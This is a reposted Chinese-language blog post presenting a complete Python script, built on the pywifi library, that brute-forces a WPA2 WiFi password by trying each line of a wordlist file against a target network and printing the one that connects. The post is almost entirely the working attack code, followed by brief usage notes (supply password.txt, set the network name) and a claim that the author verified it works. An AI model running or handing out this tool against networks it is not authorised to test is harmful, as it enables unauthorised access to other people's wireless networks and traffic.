【轉】暴力破解無線WiFi密碼


 

# coding:utf-8
import pywifi 
from pywifi import const
import time
from asyncio.tasks import sleep

class Pojie():
    def __init__(self, path):
        self.file = open(path, 'r', errors='ignore')
        wifi = pywifi.PyWiFi() # 抓取網關接口
        self.iface = wifi.interfaces()[0] # 抓取第一個無線網卡
        self.iface.disconnect() # 測試鏈接斷開所有鏈接
        time.sleep(1)

        # 測試網卡是否屬於斷開狀態
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassword(self):
        print("開始破解:")
        while True:
            try:
                myStr = self.file.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr)
                if bool1:
                    print("密碼正確:", myStr)
                    break
                else:
                    print("密碼錯誤", myStr)
            except:
                continue

    def test_connect(self, findStr): # 測試鏈接
        profile =  pywifi.Profile() # 創建wifi鏈接文件
        profile.ssid = 'XXX' # wifi名稱
        profile.auth = const.AUTH_ALG_OPEN # 網卡的開放
        profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        profile.key = findStr # 密碼

        self.iface.remove_all_network_profiles() # 刪除所有wifi文件
        tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈接文件
        self.iface.connect(tmp_profile) # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:
            isOK = True
        else:
            isOK = False
        self.iface.disconnect() # 斷開
        # 檢查斷開狀態 
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
    
    def __del__(self):
        self.file.close()

path = 'password.txt'
start = Pojie(path=path)
start.readPassword()

 

需要一份密碼本password.txt。

需要指定要破解的WiFi名稱。

 

附錄:為了驗證程序的正確性,可以自己造幾行密碼,其中有一個是正確的,驗證程序是否能夠正確執行。

 

我已驗證,程序無誤。

 

【轉自】:https://blog.csdn.net/m0_38124502/article/details/78076924


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM